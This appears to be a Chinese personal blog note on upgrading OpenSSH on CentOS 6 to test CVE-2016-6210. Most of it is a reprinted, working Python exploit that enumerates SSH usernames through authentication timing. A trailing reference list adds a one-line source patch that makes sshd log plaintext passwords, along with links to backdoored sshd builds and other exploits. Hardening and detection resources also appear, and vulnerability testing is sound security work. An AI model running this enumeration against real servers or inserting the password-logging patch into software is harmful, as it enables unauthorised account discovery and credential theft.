=Start=
缘由:
前段时间出了一个OpenSSHD的用户枚举漏洞,实际测试了一下,有一定效果,但是不稳定,而且需要自己提供「用户名字典」,实用价值有待考证。
因为漏洞测试是在当前最新版本opensshd-7.2p2上进行的测试(根据原理来看早期opensshd应该也会受到影响),但CentOS 6.x默认的OpenSSHD版本一般在5.x,所以需要升级服务器的OpenSSHD版本进行测试,本来应该是很简单的一个过程的,但是中间因为粗心大意还是踩了一些坑,在此记录一下,方便以后查阅。
正文:
1 2 3 4 5 |
[root@opensshd ~]# wget http://openbsd.hk/pub/OpenBSD/OpenSSH/portable/openssh-7.2p2.tar.gz #下载源码 [root@opensshd ~]# tar zxf openssh-7.2p2.tar.gz [root@opensshd ~]# cd openssh-7.2p2/ [root@opensshd openssh-7.2p2]# ./configure && make && make install #直接「./configure」的话,默认是安装到了 '/usr/local' 目录下 [root@opensshd openssh-7.2p2]# ./configure --prefix=/usr && make && make install #手动指定「--prefix」将覆盖系统正在使用的sshd |
坑1:
1 2 3 4 |
# vim /usr/etc/sshd HostKey /usr/local/etc/ssh_host_rsa_key HostKey /usr/local/etc/ssh_host_dsa_key_config # service sshd restart |
坑2:
1 2 3 |
# vim /usr/etc/sshd PermitRootLogin yes # service sshd restart |
避免入坑的办法:
先备份程序&配置文件
先多开几个终端防止误操作后无法登录
参考以往的配置更新 sshd_config 配置文件
测试 CVE-2016-6210 漏洞的示例代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 |
#!/usr/bin/python # # CVEs: CVE-2016-6210 (Credits for this go to Eddie Harari) # # Author: 0_o -- null_null # nu11.nu11 [at] yahoo.com # Oh, and it is n-u-one-one.n-u-one-one, no l's... # Wonder how the guys at packet storm could get this wrong :( # # Date: 2016-07-19 # # Purpose: User name enumeration against SSH daemons affected by CVE-2016-6210. # # Prerequisites: Network access to the SSH daemon. # # DISCLAIMER: Use against your own hosts only! Attacking stuff you are not # permitted to may put you in big trouble! # # And now - the fun part :-) # https://www.exploit-db.com/exploits/40136/ import paramiko import time import numpy import argparse import sys args = None class bcolors: HEADER = '\033[95m' OKBLUE = '\033[94m' OKGREEN = '\033[92m' WARNING = '\033[93m' FAIL = '\033[91m' ENDC = '\033[0m' BOLD = '\033[1m' UNDERLINE = '\033[4m' def get_args(): parser = argparse.ArgumentParser() group = parser.add_mutually_exclusive_group() parser.add_argument("host", type = str, help = "Give SSH server address like ip:port or just by ip") group.add_argument("-u", "--user", type = str, help = "Give a single user name") group.add_argument("-U", "--userlist", type = str, help = "Give a file containing a list of users") parser.add_argument("-e", "--enumerated", action = "store_true", help = "Only show enumerated users") parser.add_argument("-s", "--silent", action = "store_true", help = "Like -e, but just the user names will be written to stdout (no banner, no anything)") parser.add_argument("--bytes", default = 50000, type = int, help = "Send so many BYTES to the SSH daemon as a password") parser.add_argument("--samples", default = 12, type = int, help = "Collect so many SAMPLES to calculate a timing baseline for authenticating non-existing users") parser.add_argument("--factor", default = 3.0, type = float, help = "Used to compute the upper timing boundary for user enumeration") parser.add_argument("--trials", default = 1, type = int, help = "try to authenticate user X for TRIALS times and compare the mean of auth timings against the timing boundary") args = parser.parse_args() return args def get_banner(host, port): ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: ssh.connect(hostname = host, port = port, username = 'invalidinvalidinvalid', password = 'invalidinvalidinvalid') except: banner = ssh.get_transport().remote_version ssh.close() return banner def connect(host, port, user): global args starttime = 0.0 endtime = 0.0 p = 'B' * int(args.bytes) ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) starttime=time.clock() try: ssh.connect(hostname = host, port = port, username = user, password = p, look_for_keys = False, gss_auth = False, gss_kex = False, gss_deleg_creds = False, gss_host = None, allow_agent = False) except: endtime=time.clock() finally: ssh.close() return endtime - starttime def main(): global args args = get_args() if not args.silent: print("\n\nUser name enumeration against SSH daemons affected by CVE-2016-6210") if not args.silent: print("Created and coded by 0_o (nu11.nu11 [at] yahoo.com), PoC by Eddie Harari\n\n") if args.host: host = args.host.split(":")[0] try: port = int(args.host.split(":")[1]) except IndexError: port = 22 users = [] if args.user: users.append(args.user) elif args.userlist: with open(args.userlist, "r") as f: users = f.readlines() else: if not args.silent: print(bcolors.FAIL + "[!] " + bcolors.ENDC + "You must give a user or a list of users") sys.exit() if not args.silent: print(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Testing SSHD at: " + bcolors.BOLD + str(host) + ":" + str(port) + bcolors.ENDC + ", Banner: " + bcolors.BOLD + get_banner(host, port) + bcolors.ENDC) # get baseline timing for non-existing users... baseline_samples = [] baseline_mean = 0.0 baseline_deviation = 0.0 if not args.silent: sys.stdout.write(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Getting baseline timing for authenticating non-existing users") for i in range(1, int(args.samples) + 1): if not args.silent: sys.stdout.write('.') if not args.silent: sys.stdout.flush() sample = connect(host, port, 'foobar-bleh-nonsense' + str(i)) baseline_samples.append(sample) if not args.silent: sys.stdout.write('\n') # remove the biggest and smallest value baseline_samples.sort() baseline_samples.pop() baseline_samples.reverse() baseline_samples.pop() # do math baseline_mean = numpy.mean(numpy.array(baseline_samples)) baseline_deviation = numpy.std(numpy.array(baseline_samples)) if not args.silent: print(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Baseline mean for host " + host + " is " + str(baseline_mean) + " seconds.") if not args.silent: print(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Baseline variation for host " + host + " is " + str(baseline_deviation) + " seconds.") upper = baseline_mean + float(args.factor) * baseline_deviation if not args.silent: print(bcolors.WARNING + "[*] " + bcolors.ENDC + "Defining timing of x < " + str(upper) + " as non-existing user.") if not args.silent: print(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Testing your users...") # # Get timing for the given user name... # for u in users: user = u.strip() enum_samples = [] enum_mean = 0.0 for t in range(0, int(args.trials)): timeval = connect(host, port, user) enum_samples.append(timeval) enum_mean = numpy.mean(numpy.array(enum_samples)) if (enum_mean < upper): if not (args.enumerated or args.silent) : print(bcolors.FAIL + "[-] " + bcolors.ENDC + user + " - timing: " + str(enum_mean)) else: if not args.silent: print(bcolors.OKGREEN + "[+] " + bcolors.ENDC + user + " - timing: " + str(enum_mean)) else: print(user) if __name__ == "__main__": main() |
参考链接:
- CentOS 6.4下OpenSSH升级到6.7操作过程详解
- http://seclists.org/fulldisclosure/2016/Jul/51
- http://bobao.360.cn/learning/detail/2904.html
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6210 #** RESERVED **
- https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-6210 #CVE ID Not Found
- https://www.exploit-db.com/exploits/40136/
=END=
给OpenSSH增加密码记录的patch
https://github.com/w8rbt/sshlog/blob/master/sshlog.patch
OpenSSH 安全配置手册
https://wiki.mozilla.org/Security/Guidelines/OpenSSH
Top 20 OpenSSH Server Best Security Practices #全面
https://www.cyberciti.biz/tips/linux-unix-bsd-openssh-server-best-practices.html
https://www.howtoforge.com/tutorial/openssh-security-best-practices/
OpenSSH security and hardening #全面
https://linux-audit.com/audit-and-harden-your-ssh-configuration/
Linux安全运维丨OpenSSH安全浅析
http://www.freebuf.com/news/153364.html
https://linux.die.net/man/1/ssh
重编译安装OpenSSH记录登录密码
http://reboot.cf/2018/03/12/%E9%87%8D%E7%BC%96%E8%AF%91OpebSSH%E8%AE%B0%E5%BD%95%E7%99%BB%E5%BD%95%E5%AF%86%E7%A0%81/
编辑 auth-passwd.c 文件,在 auth_password 函数中添加:
logit("username: %s password: %s", authctxt->user, password);
查看记录的登录密码
cat /var/log/auth.log
OpenSSH < 6.6 SFTP 命令执行漏洞EXP
https://www.exploit-db.com/exploits/45001/
a patched sshd for red team activities
https://github.com/360-A-Team/openssh-7.6p1-patch
记录密码(password logging)
可使用后门密码登录(logon using a backdoor password)
对于w和last命令不可见(logon through the patched sshd results in nothing in output from last and w)
OpenSSH 用户名枚举 POC
http://www.openwall.com/lists/oss-security/2018/08/16/1
如何检测 OpenSSH 用户名枚举行为
https://blog.rootshell.be/2018/08/16/detecting-ssh-username-enumeration/
massh-enum – OpenSSH 2.3-7.4 版本用户名枚举工具
https://github.com/trimstray/massh-enum
Open Sourcing HASSH (A profiling method for SSH Clients and Servers)
https://engineering.salesforce.com/open-sourcing-hassh-abed3ae5044c
https://github.com/salesforce/hassh
ForSSHe – 基于 OpenSSH 的修改版后门
https://www.welivesecurity.com/2018/12/05/dark-side-of-the-forsshe/
SSH 常用攻击工具及资源整合
https://twitter.com/i/web/status/1079726794524315649